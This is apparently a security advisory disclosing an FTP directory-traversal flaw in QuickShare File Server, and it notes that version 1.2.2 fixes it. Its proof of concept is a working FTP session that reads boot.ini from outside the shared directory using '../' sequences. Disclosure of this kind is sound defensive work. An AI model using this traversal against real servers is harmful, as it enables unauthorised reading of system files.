QuickShare File Server is prone to a FTP directory-traversal vulnerability because it fails to sufficiently sanitize user-supplied input. Exploiting this issue will allow an attacker to modify files outside the destination directory and possibly gain access to the system.

Software Description

QuickShare File Server is a easy to use file sharing software helps you build your own file server. Users could access your server through web browsers or FTP client softwares (In most case, they need not to install any extra softwares). Users could send or receive large files to or from you. You could create account and set password to protect your files.

Exploit Information

It’s a FTP directory traversal. User without prior permission can get a file outside the specified directory (e.g. get a file from %systemroot%). This vulnerability can be exploited by anonymous or authenticated users.

 

POC

Below is the proof of concept, authenticated user logged in to the quickshare ftp server from Ubuntu Linux. The highlighted lines contain commands I type to the Quickshare ftp server.

[email protected]:~$ ftp 10.5.5.27
Connected to 10.5.5.27.
220 quickshare ftpd ready.
Name (10.5.5.27:modpr0be): ftpuser
331 User name okay, need password.
Password: *******
230 Login successful.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp> get ../../../../../../../../boot.ini boot.ini
local: boot.ini remote: ../../../../../../../../boot.ini
200 PORT command successful. Consider using PASV.
150 Opening BINARY connection.
226 File send OK.
211 bytes received in 0.00 secs (127.0 kB/s)
ftp> quit
221 Goodbye.
[email protected]:~$ cat boot.ini
[boot loader]
timeout=30
default=multi(0)disk(0)rdisk(0)partition(1)WINDOWS
[operating systems]
multi(0)disk(0)rdisk(0)partition(1)WINDOWS="Microsoft Windows XP Professional" /noexecute=optin /fastdetect
[email protected]:~$

 

Fix and Update

QuickShare Team fix this vulnerability and update it to version 1.2.2, see here.